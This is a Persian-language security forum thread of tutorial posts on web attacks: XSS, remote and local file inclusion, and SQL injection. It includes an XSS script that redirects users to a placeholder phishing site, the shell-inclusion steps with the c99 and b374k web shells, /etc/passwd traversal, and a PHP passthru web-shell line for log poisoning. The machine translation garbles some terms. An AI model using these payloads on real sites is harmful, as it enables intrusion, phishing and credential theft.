رفتن به مطلب

با توجه به آماده سازی و تامین زیرساخت لازم جهت تبدیل انجمن به یک منبع آموزشی در حوزه امنیت و ارزیابی امنیت، لطفا فایل های خود را در انجمن پیوست نمایید. در غیر این صورت تاپیک شما حذف خواهد شد.

 

پست های پیشنهاد شده

 
با توجه به عصر وب 2.0 ، بیشتر وب سایت ها پویا هستند و به کاربران اجازه می دهند تا با محتوا ارتباط برقرار کنند. بسیاری از برنامه های وب که این وب سایت های پویا را اجرا می کنند دارای نقص امنیتی هستند. در این فصل ، ما در مورد برخی از محبوب ترین اشکال حملات علیه برنامه های وب بحث خواهیم کرد
 

Cross Site Scripting


اسکریپت نویسی سایت متقاطع (XSS) وقتی اتفاق می افتد که کاربر داده های مخرب را به یک وب سایت وارد می کند ، و این باعث می شود برنامه کاری را انجام دهد که قصد انجام آن را نداشته باشد. حملات XSS بسیار محبوب هستند و برخی از بزرگترین وب سایتها تحت تأثیر آنها قرار گرفته اند از جمله FBI ، CNN ، Ebay ، اپل ، میکروستft و AOL. برخی از ویژگیهای وب سایت که معمولاً در برابر حملات XSS آسیب پذیر هستند عبارتند از:
• موتورهای جستجو
• فرم های ورود
• زمینه های نظر


سه نوع حمله XSS وجود دارد:
1. محلی - حملات محلی XSS بسیار نادرترین و سخت ترین اجرای آن هستند. این حمله به یک آسیب پذیری برای مرورگر نیاز دارد. با استفاده از این نوع حمله ، هکر می تواند کرم ها ، هرزنامه ها و Backdoors را روی رایانه شما نصب کند.
2. غیر مداوم - حملات غیر مداوم رایج ترین انواع حمله هستند و به وب سایت واقعی آسیب نمی رسانند. حملات غیر مداوم هنگامی رخ می دهد که (- یک زبان برنامه نویسی که برای توسعه وب توسط مشتری استفاده می شود) یا HTML باشد
در یک متغیر وارد می شود که باعث می شود خروجی تغییر یافته کاربر مشاهده شود. حملات غیر مداوم فقط هنگامی فعال می شوند که کاربر از URL ایجاد شده توسط مهاجم بازدید کند.
3. مداوم - حملات مداوم معمولاً علیه برنامه های وب مانند کتاب های مهمان ، انجمن ها و جعبه های فریاد استفاده می شود. برخی از کارهایی که هکر می تواند با حملات مداوم انجام دهد عبارتند از:
• سرقت کوکی های وب سایت (کوکی ها توسط مرورگرهای وب استفاده می شوند تا اطلاعات کاربر شما را ذخیره کنند تا بتوانید حتی پس از ترک شدن در وب سایت بمانید. با سرقت کوکی خود ، مهاجم گاهی می تواند بدون دانستن رمز عبور خود وارد سیستم شود.)
• وب سایت را Default کنید
• گسترش کرم ها

اکنون که می دانید cross site scripting چیست ، چگونه می توانید بگویید وب سایت در صورت آسیب پذیری بودن آن چیست؟
1. اگر یک قسمت جستجو وجود دارد ، یک کلمه را وارد کنید و اگر آن کلمه در صفحه بعد به شما نشان داده می شود ، احتمال اینکه آسیب پذیر باشد وجود دارد.
2. حالا مقداری HTML وارد می کنیم. <h1> سلام </ h1> را جستجو کنید ، و اگر کلمه "سلام" به عنوان یک سربرگ بزرگ تولید شده باشد ، آسیب پذیر است.
3. حالا جاوا اسکریپت را وارد خواهیم کرد. هشدار <script> ("سلام") را جستجو کنید ، </script> ، اگر کلمه "سلام" در یک کادر بازشو ظاهر شود ، سایت در برابر XSS آسیب پذیر است.
4- همانطور که مشاهده می کنید ، این مثالها ماندگار نیستند. حال اگر هکر یک کتاب میهمان یا چیز دیگری مانند آن را پیدا کند که آسیب پذیر باشد ، می تواند آن را ماندگار کند و هر کس که به صفحه مراجعه می کند اگر بخشی از اظهار نظر وی باشد ، هشدار فوق را دریافت می کند.
هکرهای آگاه در جاوا اسکریپت و PHP می توانند از حملات پیشرفته XSS استفاده کنند تا کوکی های شما را سرقت کنند و کرم های XSS را گسترش دهند ، اما برای نشان دادن یک مثال ساده از چیزی واقعی تر از نمونه های فوق ، من به شما نشان خواهم داد که چگونه یک هکر می تواند از XSS استفاده کند. به فیشینگ کمک کنید
1. بیایید بگوییم هکر می خواهد رمزهای عبور را از سایت www.victim-site.com رمزنگاری کند. اگر او می توانست آسیب پذیری XSS را در هر نقطه از وب سایت پیدا کند ، می تواند پیوندی را به وب سایت قانونی که به وب سایت فیشینگ خود هدایت می کند ، طراحی کند.
2. در مثال همراه با پنجره ، وقتی جاوا اسکریپت را در جعبه جستجو وارد کردم ، URL ایجاد شد که مانند زیر است:
 
برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.
 
در اینجا می توانید ببینید که کدی که در جعبه جستجو تایپ کرده اید به متغیر "جعبه جستجو" منتقل شده است.
3. در URL ، هکر همه چیز را بین؟ searchbox = و & کد زیر را جستجو می کند:
<script> windows.location = "http://phishing-site.com" </script>
4- اکنون وقتی به لینک نهایی بروید ، سایت قانونی به وب سایت فیشینگ هدایت می شود. در مرحله بعد آنچه هکر انجام می دهد رمزگذاری آدرس اینترنتی است تا به نظر قانونی تر و کمتر مشکوک شود. می توانید URL را در
برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.
رمزگذاری کنید.

5. URL رمزگذاری شده من به پایان رسیده است: http٪ 3A٪ 2F٪ 2Flocalhost٪ 2Fform.php٪ 3Fsearchbox٪ 3D٪ 3Cscript٪ 3Ewindow.location +٪ 3D +٪ 5C٪ 22http٪ 3A٪ 2F٪ 2Fphishing-site.com٪ 5C٪ 22٪ 3C٪ 2Fscript٪ 3E٪ 26search٪ 3Dsearch٪ 21
6. هنگامی که قربانی می بیند که این لینک به وب سایت قانونی نشان می دهد ، احتمال حمله وی به فیشینگ بیشتر می شود.
 
ادامه دارد ......
 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
ارسال شده در (ویرایش شده)

سلام

امروز بابخش دوم Website hacking theory در خدمتتونم خب میریم سر بحث اصلی 

 

Remote File Inclusion

گنجاندن پرونده از راه دور (RFI)

 

هنگامی اتفاق می افتد که یک پرونده راه دور ، معمولاً یک پوسته (یک رابط گرافیکی برای مرور فایلهای از راه دور و اجرای کد شخصی شما روی یک سرور) ، در یک وب سایت گنجانده می شود که به هکر اجازه می دهد دستورات سمت سرور را به عنوان فعلی اجرا کند. روی کاربر وارد شده و به پرونده های روی سرور دسترسی داشته باشید. با استفاده از این قدرت ، هکر می تواند به استفاده از سوء استفاده های محلی ادامه دهد تا امتیازات خود را افزایش داده و کل سیستم را به دست بگیرد.
بسیاری از سرورها به دلیل تنظیمات پیش فرض PHP در ثبت_گلوبارها و اجازه فعال شدن اجازه_ورل_فوپن در برابر این نوع حمله آسیب پذیر هستند.

اگرچه از PHP 6.0 ، Register_globals حذف شده است ، اما بسیاری از وب سایت ها هنوز به نسخه های قدیمی تر PHP اعتماد می کنند تا وب خود را اجرا کنند.

اکنون قدم هایی را که یک هکر برای سوءاستفاده از این نوع آسیب پذیری در یک وب سایت می گذارد ، طی خواهیم کرد.
1. ابتدا هکر وب سایتی را پیدا می کند که صفحات خود را از طریق PHP شامل عملکرد () () () می کند و در برابر RFI آسیب پذیر است. بسیاری از هکرها از دستگیره های گوگل استفاده می کنند تا سرورهای آسیب پذیر RFI را پیدا کنند. Dork Google عملی است که از ابزارهای جستجوی ارائه شده Google برای کمک به نتیجه جستجوی خاص استفاده می کند.
2. وب سایت هایی که شامل صفحات هستند دارای یک سیستم ناوبری شبیه به:

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.


3. برای دیدن اینکه آیا یک صفحه آسیب پذیر است ، هکر سعی می کند یک سایت را به جای PageName مانند موارد زیر بگذارد:
 

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.


4- اگر صفحه اصلی گوگل در وب سایت نشان داده شود ، هکر می داند وب سایت آسیب پذیر است و همچنان شامل پوسته می شود.
5. از محبوب ترین پوسته ها c99 و r57 هستند  (خودم به b374k علاقه دارم ).

یک هکر یا آنها را در یک سرور از راه دور بارگذاری می کند یا فقط از یک گوگل استفاده می کند .
برای یافتن آنها در حال حاضر( آنلاین )  ، هکر در جستجوی Google می باشد: inurl: c99.txt. با این کار بسیاری از وب سایت ها با پوسته از قبل آماده شده و آماده گنجانده شدن هستند را نشان میدهد . در پایان URL مطمئن شوید که می خواهید یک اضافه کنید؟ به طوری که اگر هر چیزی بعد از c99.txt بیاید ، به پوسته منتقل می شود و مشکلی ایجاد نمی کند. نشانی اینترنتی جدید با پوسته شامل می شود:

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.


6. بعضی اوقات اسکریپت PHP در سرور ".php" را به انتهای هر پرونده اضافه می کند. بنابراین اگر پوسته را گنجانده باشید ، در نهایت مانند "c99.txt.php" به نظر می رسد و کار نمی کند. برای بدست آوردن این مسئله ، یک بایت تهی (00٪) به انتهای c99.txt اضافه می کنید. این به سرور می گوید که همه چیز را پس از c99.txt نادیده بگیرد.
7. در مرحله اول ، به شما گفتم كه هكرها از دستكارهای Google استفاده می كنند تا به دنبال سایتهایی باشند كه احتمالاً در معرض RFI آسیب پذیر باشند. نمونه ای از

 Google Dork خواهد بود .

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.
این به دنبال آدرس URL با 
برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

در آنها است. این فقط یک نمونه است و شما به احتمال زیاد هیچ سایت آسیب پذیر با آن جستجو پیدا نمی کنید. می توانید کلمه "صفحه" را با حروف دیگر و کلمات مشابه تغییر دهید. هکرها معمولاً برای یافتن آسیب پذیری های RFI در سیستم های مدیریت محتوای سایت ، از Google dork استفاده میکنند.

 

8. اگر هکر موفق شد سرور را برای تجزیه پوسته بدست آورد ، به وی صفحه ای شبیه به شکل زیر ارائه می شود:

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

از اینجا هکر دایرکتوری پیدا می کند که امتیازات خواندن و نوشتن را دارد و پوسته را بارگذاری می کند اما
این بار به عنوان یک پرونده .php به طوری که آسیب پذیری برطرف شود ، وی بعداً می تواند به آن دسترسی پیدا کند.
9- هکر بعداً راهی برای به دست آوردن امتیازات اصلی در سیستم پیدا می کند. او می تواند این کار را با بارگیری و اجرای بهره برداری های محلی در برابر سرور انجام دهد. او همچنین می تواند سرور قربانی را برای پرونده های پیکربندی جستجو کند. این پرونده ها ممکن است حاوی نام کاربری و کلمه عبور برای پایگاه داده های MYSQL و مواردی از این دست باشد.
برای محافظت از خود در برابر حملات RFI ، کافیست از اسکریپت های به روز استفاده کنید و مطمئن شوید که فایل php.ini سرور دارای Register_globals و lejed_url_fopen غیرفعال است.
ادامه دارد .....
 
ویرایش شده توسط Stubborn
املا

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

Local File Inclusion

گنجاندن پرونده محلی (LFI) زمانی است که می توانید با استفاده از دایرکتوری ، سرور را مرور کنید. یکی از رایج ترین کاربردهای LFI کشف پرونده / etc / passwd است. این پرونده حاوی اطلاعات کاربر یک سیستم لینوکس است.

هکرها سایتهایی را که نسبت به LFI آسیب پذیرند ، آسیب پذیر می دانند. بیایید بگوییم هکر یک سایت آسیب پذیر ،

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

را پیدا کرده است ، با استفاده از دایرکتوری  ،  سعی می کند به دنبال پرونده / etc / passwd باشد:

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

شما یک فهرست را می آورید و میزان استفاده شما بستگی به جایی دارد که سرور شما در آن قرار دارید با مقایسه فایل / etc / passwd.
اگر هکر بتواند با موفقیت به پرونده / etc / passwd دسترسی پیدا کند ، لیستی شبیه به لیست زیر می بیند.

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

هر خط به هفت قسمت تقسیم می شود:

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

در صورت نمایش هش رمز عبور ، هکر قادر به ترک کردن آن و دسترسی به دستگاه است ، اما در مورد ما رمز عبور نشان داده نمی شود. این بدان معنی است که رمز عبور سایه زده شده است و در پرونده / etc / سایه ای که هکر به آن دسترسی ندارد. در این صورت ، هکر احتمالاً سعی می کرد از طریق تزریق ورود به سیستم به روش دیگری دسترسی پیدا کند.
دایرکتوری های log در مناطق مختلف در توزیع های مختلف لینوکس قرار دارند. در زیر لیستی از رایج ترین مکان ها آمده است.

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.
در زیر مراحلی که یک هکر برای دسترسی به سیستم از طریق تزریق ورود به سیستم انجام می دهد ، آورده شده است.
1. ابتدا هکر پیدا می کند که سرور هدف چه نسخه ای از سیستم عامل را اجرا می کند و سپس مکان های پرونده های موجود در آن سیستم عامل را جستجو می کند.
2. در مرحله بعد ، هکر از طریق LFI به آن مکان حرکت می کند. اگر او با یک دسته از سیاهها نمایش داده شود ، ممکن است او ادامه یابد.
3- هکر با تایپ کردن مقداری کد PHP را در سیاههها تزریق می کند
Passthru ($ _ GET [‘cmd '])؟> پس از = در URL. این باعث می شود که اسکریپت PHP وارد شود زیرا هیچ فایلی با آن نام وجود ندارد. آنچه این اسکریپت انجام خواهد داد دسترسی به پوسته هکر است و به وی اجازه می دهد دستورات سیستم را اجرا کند.
4- اکنون اگر هکر به پرونده log برگردد ، می بیند که اسکریپت PHP او تجزیه نشده و در عوض تبدیل به
٪ 3C؟٪ 20passthru ($ _ GET [cmd])٪ 20؟٪ 3E
5- هنگام ارسال اسکریپت ، مرورگر به طور خودکار URL را رمزگذاری می کند. خوشبختانه یک فیلم نامه مروارید وجود دارد که می تواند این مشکل را برطرف کند. در زیر اسکریپت مروارید ، متغیرها را ویرایش کنید: $ $ ، مسیر $ ، کد $ ، و log $ را وارد کنید
اطلاعات مناسب
برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

هنگامی که هکر این اسکریپت را اجرا کرد و با موفقیت پیش رفت ، وی قادر به اجرای هر دستوری روی سرور خواهد بود. از اینجا او می تواند هر گونه سوء استفاده محلی را برای دستیابی به ریشه اجرا کند یا فقط پرونده های سرور را مرور کند.

 

 
 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
ارسال شده در (ویرایش شده)

Standard SQL Injection

با سلام

 

خب SQL با این سوال شروع میشه .

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

به طور کلی از برنامه وب به منظور تأیید اعتبار کاربر استفاده می شود و حالا میشه مقداری از ان را بازگرداند

به این معنی که در داخل دیتابیس کاربر با آن اعتبار وجود دارد ، در این صورت به کاربر اجازه ورود داده می شود ، در غیر این صورت
دسترسی رد شد مقادیر زمینه های ورودی معمولاً از طریق فرم وب از کاربر به دست می آیند. فرض کنید ما
مقادیری با نام کاربری و گذرواژه زیر را وارد کردیم

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

که میشه

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

اگر فرض کنیم مقادیر پارامترها از طریق روش GET به سرور ارسال می شود و اگر دامنه
وب سایت آسیب پذیر www.example.com است ، درخواستی که ما ارسال میکنیم میشه

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

در این روش سیستم بدون دانستن نام کاربری و رمز عبور ، کاربر را تأیید کرده است.
نمونه دیگر این دستور میشه

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

در این حالت دو مشکل وجود دارد ، یکی به دلیل استفاده از پرانتز و دیگری به دلیل استفاده از عملکرد هش MD5.
اول از همه ، مشکل پرانتز را حل می کنیم. این به سادگی شامل اضافه کردن تعدادی پرانتز بسته تا زمان خواهد بود

برای برطرف کردن مشکل دوم ، سعی می کنیم شرط دوم را باطل کنیم

مقادیری که از آنها به عنوان نام کاربری و رمز عبور استفاده خواهیم کرد عبارتند از

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

که میشه

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

و در سایت به این شکل اجرا میشه

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

در مثالهای قبلی ،  در این وضعیت کار سخت میشه که در بانک اطلاعاتی فقط یک مقدار برای هر کاربر وجود دارد
برای حل این مشکل ، کافی است یک دستور SQL وارد کنید که شرط آن تعداد عدد را تحمیل کند.

برای رسیدن به این هدف ، از اپراتور LIMITاستفاده می کنیم .

باا توجه به مثال قبلی ، مقدار قسمت های نام کاربری و رمز عبور به شرح زیر اصلاح می کنیم ,

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

که در سایت به ا این شکل جستوجو میکنیم ,

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

آزمایش دیگر شامل استفاده از اپراتور UNION است .

UNION به آزمایش کننده اجازه می دهد مقادیر رشته های جداول دیگر را بدست آورد 

تصور کنید سرور به شرح زیر است :

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

مقدار زیر را تعیین می کنیم:

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

که میشه

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

روش ذخیره شده در زیر سرور SQL را در نظر بگیرید

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.
ورودی کاربر :
برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

ابزاری ساده که این کار را انجام می دهند مانند

SQL Injection Bruteforcer

بصورت اتوماتیک آسیب پذیری های SQL injection را شناسایی و استخراج می کند

SQL Injection Bruteforcer.zip

 

برای مشاهده این بخش نیازمند ثبت نام و یا ورود به حساب کاربری خود میباشید.

تستر نفوذ برای دستورات  SQL INJECT در یک صفحه وب که به ما کمک می کند.

SQL Power Injector.zip

 

ویرایش شده توسط Stubborn
املا

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.


تاریخچه انجمن امنیتی ایران سایبر

شرکت امنیتی ایران سایبر با بکار گیری افراد متخصص در حوزه امنیت و ارائه راه کار در زمینه امنیت شبکه و امنیت بانک های اطلاعاتی در سال ۲۰۰۹ کار خود را آغاز نمود.

این شرکت با تعریفی جدید از ارائه خدمات و مشاوره در حوزه امنیت سازمان ها و مراکز، تست نفوذ، و برنامه نویسی در تعاملی سازنده با سازمان ها، مشتری مداری را سرلوحه کار خود قرار داده و آماده همکاری با شرکت ها و ارگان های مختلف می باشد.

رعایت قوانین

شرکت و انجمن امنیتی ایران سایبر با توجه به حضور مجاز و رسمی در محافل امنیتی و شرکت های ارزیابی امنیت ملزم به رعایت قوانین بوده و کاربران انجمن نیز ملزم به رعایت قوانین جمهوری اسلامی ایران میباشد.

×
×
  • اضافه کردن...